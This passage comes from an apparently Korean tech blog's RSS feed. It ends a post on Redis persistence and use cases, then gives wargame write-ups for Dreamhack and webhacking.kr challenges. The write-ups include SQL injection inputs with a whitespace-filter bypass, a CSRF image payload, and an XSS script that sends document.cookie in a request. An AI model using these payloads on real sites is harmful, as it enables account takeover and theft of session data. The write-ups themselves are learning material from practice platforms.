&lt;p data-ke-size=&quot;size16&quot;&gt;- 만약 FLUSHALL command를 사용하여 데이터가 날라갔더라도, 서버를 멈춘 후 최신에 입력된 명령어를 지운 후 다시 시작하여 복원할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단점&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 명령어를 순차적으로 실행하여 복구 속도가 느림&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- RDB 파일보다 더 많은 디스크 용량을 차지한다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용방법&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AOF 기능 사용 여부 설정&lt;/p&gt;
&lt;pre id=&quot;code_1745250824876&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;appendonly [yes or no]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AOF 로그파일에 기록되는 주기 설정&lt;/p&gt;
&lt;pre id=&quot;code_1745250856804&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;appendfsync [always or everysec or no]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;always : 명령을 실행하고 난 후에 바로 파일에 로그를 저장합니다. 하지만 성능이 떨어져 권장 되지 않습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;everysec : 1초 동안 실행된 명령을 모아서 로그 파일에 기록하는 AOF설정의 기본값입니다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;no : 로그파일에 기록 운영체제에게 권한을 부여하며, 운영체제에서는 30초마다 로그파일에 기록합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;No Persistence&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;영속성을 완전히 비활성화 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;RDB + AOF&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AOF를 통한 거의 완전한 복구 + RDB를 통한 백업/이중화=&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;활용 방안&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 캐싱&lt;/b&gt;&lt;br /&gt;&lt;b&gt;목적&lt;/b&gt;: DB 부하 감소, 응답 속도 개선&lt;br /&gt;&lt;b&gt;활용 예시&lt;/b&gt;: API 결과 캐싱, 세션 캐시(로그인 상태 유지), 제품 목록 캐싱&lt;/p&gt;
&lt;p data-end=&quot;328&quot; data-start=&quot;221&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;328&quot; data-start=&quot;221&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 분산 락 (Distributed Lock)&lt;/b&gt;&lt;br /&gt;&lt;b&gt;목적&lt;/b&gt;: 다중 프로세스의 동시 작업 제어&lt;br /&gt;&lt;b&gt;활용 예시&lt;/b&gt;: 주문 중복 방지, 재고 감소 동기화, 예약 시스템 충돌 방지&lt;/p&gt;
&lt;p data-end=&quot;444&quot; data-start=&quot;335&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;444&quot; data-start=&quot;335&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. Rate Limiting (요청 제한)&lt;/b&gt;&lt;br /&gt;&lt;b&gt;목적&lt;/b&gt;: 과도한 요청 방지, abuse 차단&lt;br /&gt;&lt;b&gt;활용 예시&lt;/b&gt;: 로그인 시도 제한, IP별 요청 횟수 제한, API 사용량 제한&lt;/p&gt;
&lt;p data-end=&quot;536&quot; data-start=&quot;451&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;536&quot; data-start=&quot;451&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4. 실시간 랭킹 시스템&lt;/b&gt;&lt;br /&gt;&lt;b&gt;목적&lt;/b&gt;: 점수 기반 사용자 순위 계산&lt;br /&gt;&lt;b&gt;활용 예시&lt;/b&gt;: 게임 랭킹, 콘텐츠 인기순 정렬, 포인트 시스템&lt;/p&gt;
&lt;p data-end=&quot;631&quot; data-start=&quot;543&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;631&quot; data-start=&quot;543&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;5. Pub/Sub 메시징&lt;/b&gt;&lt;br /&gt;&lt;b&gt;목적&lt;/b&gt;: 실시간 메시지 전파&lt;br /&gt;&lt;b&gt;활용 예시&lt;/b&gt;: 채팅 시스템, 알림 브로드캐스트, 마이크로서비스 이벤트 전파&lt;/p&gt;
&lt;p data-end=&quot;720&quot; data-start=&quot;638&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;720&quot; data-start=&quot;638&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;6. 작업 큐 (비동기 처리)&lt;/b&gt;&lt;br /&gt;&lt;b&gt;목적&lt;/b&gt;: 백그라운드 비동기 처리&lt;br /&gt;&lt;b&gt;활용 예시&lt;/b&gt;: 이메일 전송, 이미지 리사이징, 배치 작업&lt;/p&gt;
&lt;p data-end=&quot;831&quot; data-start=&quot;727&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;831&quot; data-start=&quot;727&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;7. 출석 체크 / 사용자 행동 기록&lt;/b&gt;&lt;br /&gt;&lt;b&gt;목적&lt;/b&gt;: 사용자의 행동 기록을 공간 효율적으로 저장&lt;br /&gt;&lt;b&gt;활용 예시&lt;/b&gt;: 출석일 저장, 특정 기능 사용 여부 기록, 체크인 기능&lt;/p&gt;
&lt;p data-end=&quot;932&quot; data-start=&quot;838&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;932&quot; data-start=&quot;838&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;8. 유니크 수 추정 (통계)&lt;/b&gt;&lt;br /&gt;&lt;b&gt;목적&lt;/b&gt;: 큰 집합의 유니크 수를 빠르게 추정&lt;br /&gt;&lt;b&gt;활용 예시&lt;/b&gt;: 일일 방문자 수 추정, 특정 이벤트 참여자 수 추정&lt;/p&gt;
&lt;p data-end=&quot;1029&quot; data-start=&quot;939&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;1029&quot; data-start=&quot;939&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;9. 로그/이벤트 스트리밍&lt;/b&gt;&lt;br /&gt;&lt;b&gt;목적&lt;/b&gt;: 실시간 로그 수집 및 처리&lt;br /&gt;&lt;b&gt;활용 예시&lt;/b&gt;: 주문 이벤트 스트림, 실시간 거래 기록, 로그 파이프라인&lt;/p&gt;
&lt;p data-end=&quot;1137&quot; data-start=&quot;1036&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;1137&quot; data-start=&quot;1036&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;10. 세션 저장소 (Session Store)&lt;/b&gt;&lt;br /&gt;&lt;b&gt;목적&lt;/b&gt;: 서버 측 상태 저장&lt;br /&gt;&lt;b&gt;활용 예시&lt;/b&gt;: 로그인 상태 관리, 장바구니 상태 저장, 사용자 컨텍스트 캐싱&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;느낀점&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Redis를 평소에 refreshToken을 저장하는 용도로만 사용하고 활용하는 방법을 생각하지 못 하였는데 많은 기능들을 알게 되어서 많이 활용하게 될 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;온라인 저지 플랫폼을 만들었었는데 재제출에 대한 방지 로직을 구현한다면 redis의 분산락을 이용하고, 대회 순위에 대해서는 ZSet을 사용하여 빠르게 실시간 순위를 보여줄 수 있다. 또한 아이템 공격 기능들을 redis의 pub/sub를 이용하여 구현한다면 다중환경에서도 아이템 로직이 수행되도록 구현할 수 있을 것 같다.&lt;/p&gt;</description>
      <category>Redis</category>
      <category>redis</category>
      <author>anys</author>
      <guid isPermaLink="true">https://anys34.tistory.com/16</guid>
      <comments>https://anys34.tistory.com/16#entry16comment</comments>
      <pubDate>Tue, 22 Apr 2025 01:42:04 +0900</pubDate>
    </item>
    <item>
      <title>드림핵, 웹해킹.kr | simple_sqli, old-18</title>
      <link>https://anys34.tistory.com/15</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;드림핵에 simple_sqli를 sql injection을 이용하여 풀어보겠다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-04-17 오후 1.41.51.png&quot; data-origin-width=&quot;784&quot; data-origin-height=&quot;57&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b7pNiX/btsNmH6IVXJ/relcQDiAzUnWUiDLMoStA1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b7pNiX/btsNmH6IVXJ/relcQDiAzUnWUiDLMoStA1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b7pNiX/btsNmH6IVXJ/relcQDiAzUnWUiDLMoStA1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb7pNiX%2FbtsNmH6IVXJ%2FrelcQDiAzUnWUiDLMoStA1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;784&quot; height=&quot;57&quot; data-filename=&quot;스크린샷 2025-04-17 오후 1.41.51.png&quot; data-origin-width=&quot;784&quot; data-origin-height=&quot;57&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1744865327315&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;db.execute('create table users(userid char(100), userpassword char(100));')
db.execute(f'insert into users(userid, userpassword) values (&quot;guest&quot;, &quot;guest&quot;), (&quot;admin&quot;, &quot;{binascii.hexlify(os.urandom(16)).decode(&quot;utf8&quot;)}&quot;);')&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #1e1f22; color: #bcbec4;&quot;&gt;
&lt;pre class=&quot;applescript&quot;&gt;&lt;code&gt;userid = request.form.get('userid')
userpassword = request.form.get('userpassword')
res = query_db(f'select * from users where userid=&quot;{userid}&quot; and userpassword=&quot;{userpassword}&quot;')
if res:
    userid = res[0]
    if userid == 'admin':
        return f'hello {userid} flag is {FLAG}'
    return f'&amp;lt;script&amp;gt;alert(&quot;hello {userid}&quot;);history.go(-1);&amp;lt;/script&amp;gt;'
return '&amp;lt;script&amp;gt;alert(&quot;wrong&quot;);history.go(-1);&amp;lt;/script&amp;gt;'&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;user id가 admin인 사람을 찾아야 하기 때문에 {userid}부분에는 admin을 넣고 userpassword검색부분은 무효화 시켜야 할 것 같다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;python의 /**/을 이용해서 password부분을 무력화 시키면 된다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;막 주석을 하게 된다면 맨 마지막에 &quot;가 남기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;userid 입력은 admin&quot;/*&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;password입력은 */ and &quot;1=1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;으로 하면 된다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;old-18&lt;/h4&gt;
&lt;pre id=&quot;code_1744870175833&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php
if($_GET['no']){
  $db = dbconnect();
  if(preg_match(&quot;/ |\/|\(|\)|\||&amp;amp;|select|from|0x/i&quot;,$_GET['no'])) exit(&quot;no hack&quot;);
  $result = mysqli_fetch_array(mysqli_query($db,&quot;select id from chall18 where id='guest' and no=$_GET[no]&quot;)); // admin's no = 2

  if($result['id']==&quot;guest&quot;) echo &quot;hi guest&quot;;
  if($result['id']==&quot;admin&quot;){
    solve(18);
    echo &quot;hi admin!&quot;;
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와같이&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0%09or%09no=2&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;%09로 공백을 우회해서 풀면 된다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;트러블 슈팅&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;input창에 넣어서 두번 인코딩되어 삽질함..&lt;/p&gt;</description>
      <category>보안</category>
      <author>anys</author>
      <guid isPermaLink="true">https://anys34.tistory.com/15</guid>
      <comments>https://anys34.tistory.com/15#entry15comment</comments>
      <pubDate>Thu, 17 Apr 2025 13:54:27 +0900</pubDate>
    </item>
    <item>
      <title>드림핵 | csrf-1</title>
      <link>https://anys34.tistory.com/14</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;드림핵에서 csrf-1번문제를 csrf기법을 이용해서 풀어볼 것이다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-04-17 오후 1.00.53.png&quot; data-origin-width=&quot;786&quot; data-origin-height=&quot;58&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/urnTw/btsNnSgMRWE/KiDpu5QiL2xYjJKU7fxOT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/urnTw/btsNnSgMRWE/KiDpu5QiL2xYjJKU7fxOT0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/urnTw/btsNnSgMRWE/KiDpu5QiL2xYjJKU7fxOT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FurnTw%2FbtsNnSgMRWE%2FKiDpu5QiL2xYjJKU7fxOT0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;786&quot; height=&quot;58&quot; data-filename=&quot;스크린샷 2025-04-17 오후 1.00.53.png&quot; data-origin-width=&quot;786&quot; data-origin-height=&quot;58&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서비스에 접속하면 간단한 메모 기능이 있는 웹 어플리케이션이 제공된다. 핵심 기능은 다음과 같다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;582&quot; data-start=&quot;510&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;537&quot; data-start=&quot;510&quot;&gt;/memo: 메모를 작성하고 조회하는 기능&lt;/li&gt;
&lt;li data-end=&quot;582&quot; data-start=&quot;538&quot;&gt;/admin/notice_flag: 내부 관리 기능으로 보이는 엔드포인트&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;675&quot; data-start=&quot;584&quot; data-ke-size=&quot;size16&quot;&gt;이 문제에서 주목할 점은 &lt;b&gt;/admin/notice_flag&lt;/b&gt; 경로를 외부 사용자가 직접 호출해도 플래그가 출력되지 않는다는 것이다. 접근 시 조건이 필요하다.&lt;/p&gt;
&lt;p data-end=&quot;675&quot; data-start=&quot;584&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;675&quot; data-start=&quot;584&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;675&quot; data-start=&quot;584&quot; data-ke-size=&quot;size16&quot;&gt;문제의 백엔드 코드 일부를 확인하면 다음과 같은 조건이 포함되어 있다.&lt;/p&gt;
&lt;h3 data-end=&quot;760&quot; data-start=&quot;744&quot; data-ke-size=&quot;size23&quot;&gt;접근 제한 조건&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;832&quot; data-start=&quot;762&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;792&quot; data-start=&quot;762&quot;&gt;요청자의 &lt;b&gt;IP 주소가 127.0.0.1&lt;/b&gt;일 것&lt;/li&gt;
&lt;li data-end=&quot;832&quot; data-start=&quot;793&quot;&gt;URL 쿼리스트링에 userid=admin 파라미터가 포함될 것&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;850&quot; data-start=&quot;834&quot; data-ke-size=&quot;size16&quot;&gt;조건을 요약하면 다음과 같다.&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre id=&quot;code_1744862546153&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;if client_ip != &quot;127.0.0.1&quot;:
    reject()
if request.args.get(&quot;userid&quot;) != &quot;admin&quot;:
    reject()
memo_text += FLAG&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;1053&quot; data-start=&quot;985&quot; data-ke-size=&quot;size16&quot;&gt;즉, 로컬에서 userid=admin이라는 파라미터가 포함된 요청이 오면, 서버가 메모에 FLAG 값을 삽입하게 된다.&lt;/p&gt;
&lt;p data-end=&quot;1053&quot; data-start=&quot;985&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;1053&quot; data-start=&quot;985&quot; data-ke-size=&quot;size16&quot;&gt;페이로드&lt;/p&gt;
&lt;pre id=&quot;code_1744862570361&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;img src=&quot;/admin/notice_flag?userid=admin&quot;&amp;gt;&lt;/code&gt;&lt;/pre&gt;</description>
      <category>보안</category>
      <author>anys</author>
      <guid isPermaLink="true">https://anys34.tistory.com/14</guid>
      <comments>https://anys34.tistory.com/14#entry14comment</comments>
      <pubDate>Thu, 17 Apr 2025 13:02:56 +0900</pubDate>
    </item>
    <item>
      <title>드림핵 | xss-1</title>
      <link>https://anys34.tistory.com/13</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;XSS 취약점을 사용해서 플래그를 휙득하는 &lt;a href=&quot;https://dreamhack.io/wargame/challenges/28&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;문제&lt;/a&gt;입니다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-04-17 오전 11.53.46.png&quot; data-origin-width=&quot;794&quot; data-origin-height=&quot;67&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QlERb/btsNkkEKOoJ/4MBChLFhHBBERumg8d6Yt0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QlERb/btsNkkEKOoJ/4MBChLFhHBBERumg8d6Yt0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QlERb/btsNkkEKOoJ/4MBChLFhHBBERumg8d6Yt0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQlERb%2FbtsNkkEKOoJ%2F4MBChLFhHBBERumg8d6Yt0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;794&quot; height=&quot;67&quot; data-filename=&quot;스크린샷 2025-04-17 오전 11.53.46.png&quot; data-origin-width=&quot;794&quot; data-origin-height=&quot;67&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제를 실행하면 간단한 메모장 형태의 서비스가 등장합니다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;539&quot; data-start=&quot;465&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;508&quot; data-start=&quot;465&quot;&gt;POST /memo : 메모 내용을 작성 (작성자와 메모 내용 입력)&lt;/li&gt;
&lt;li data-end=&quot;539&quot; data-start=&quot;509&quot;&gt;GET /memo : 저장된 메모 리스트 출력&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작성한 메모가 다음과 같이 렌더링되는 것을 확인할 수 있습니다&lt;/p&gt;
&lt;pre id=&quot;code_1744859222144&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{% block content %}
  &amp;lt;pre&amp;gt;{{ memo }}&amp;lt;/pre&amp;gt;
{% endblock %}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제에서 제공한 Python 코드에서 핵심이 되는 함수는 read_url()과 check_xss()이다.&lt;/p&gt;
&lt;h3 data-end=&quot;627&quot; data-start=&quot;611&quot; data-ke-size=&quot;size23&quot;&gt;read_url&lt;/h3&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre id=&quot;code_1744859965667&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;def read_url(url, cookie={&quot;name&quot;: &quot;name&quot;, &quot;value&quot;: &quot;value&quot;}):
    cookie.update({&quot;domain&quot;: &quot;127.0.0.1&quot;})
    driver.get(&quot;http://127.0.0.1:8000/&quot;)
    driver.add_cookie(cookie)
    driver.get(url)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;1009&quot; data-start=&quot;840&quot; data-ke-size=&quot;size16&quot;&gt;이 함수는 내부적으로 Selenium WebDriver를 사용하여 크롬 브라우저를 실행하고, 특정 URL에 접근한다.&lt;br /&gt;접속 전 미리 설정된 쿠키를 127.0.0.1 도메인에 추가한다. 봇이 접근하는 기준 도메인은 http://127.0.0.1:8000/이며, 이 도메인에서만 쿠키가 전송된다.&lt;/p&gt;
&lt;p data-end=&quot;1009&quot; data-start=&quot;840&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;1009&quot; data-start=&quot;840&quot; data-ke-size=&quot;size16&quot;&gt;최종 페이로드&lt;/p&gt;
&lt;pre id=&quot;code_1744860004647&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;location.href=&quot;http://127.0.0.1:8000/memo?memo=hello&quot;+document.cookie;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;</description>
      <category>보안</category>
      <author>anys</author>
      <guid isPermaLink="true">https://anys34.tistory.com/13</guid>
      <comments>https://anys34.tistory.com/13#entry13comment</comments>
      <pubDate>Thu, 17 Apr 2025 12:20:27 +0900</pubDate>
    </item>
    <item>
      <title>웹해킹.kr | old-15, 20</title>
      <link>https://anys34.tistory.com/12</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;일단 문제를 풀면서 느낀점은 javascript를 많이 알고 있어야 잘 풀 수 있다는 것을 느꼈고 다음은 내가 푼 방법에 대한 설명이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;old-15를 처음 들어갔는데 그냥 에러가 뜨는 줄 알았다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;알고 보니 alert가 떠서 그것을 안 뜨게 하는 것이 문제였고 다음과 같은 풀이 방법으로 해결하였다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-04-03 오전 11.56.48.png&quot; data-origin-width=&quot;443&quot; data-origin-height=&quot;55&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wFRlN/btsM6ep9p4s/khDpCJOmNZefOhHKlyZAK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wFRlN/btsM6ep9p4s/khDpCJOmNZefOhHKlyZAK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wFRlN/btsM6ep9p4s/khDpCJOmNZefOhHKlyZAK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwFRlN%2FbtsM6ep9p4s%2FkhDpCJOmNZefOhHKlyZAK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;443&quot; height=&quot;55&quot; data-filename=&quot;스크린샷 2025-04-03 오전 11.56.48.png&quot; data-origin-width=&quot;443&quot; data-origin-height=&quot;55&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;Burp Suite를 사용해보기로 해서 &lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;Burp Suite를 사용해서 문제를 해결하였다&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;크로미움 브라우저에서 창을 열고 javascript를 보니 해당 코드가 있었다&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1743649212563&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;
  alert(&quot;Access_Denied&quot;);
  location.href='/';
  document.write(&quot;&amp;lt;a href=?getFlag&amp;gt;[Get Flag]&amp;lt;/a&amp;gt;&quot;);
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 코드를 반환하니 alert와 location을 지우고 /?getFlag 주소로 요청하니 문제가 풀렸다&lt;/p&gt;
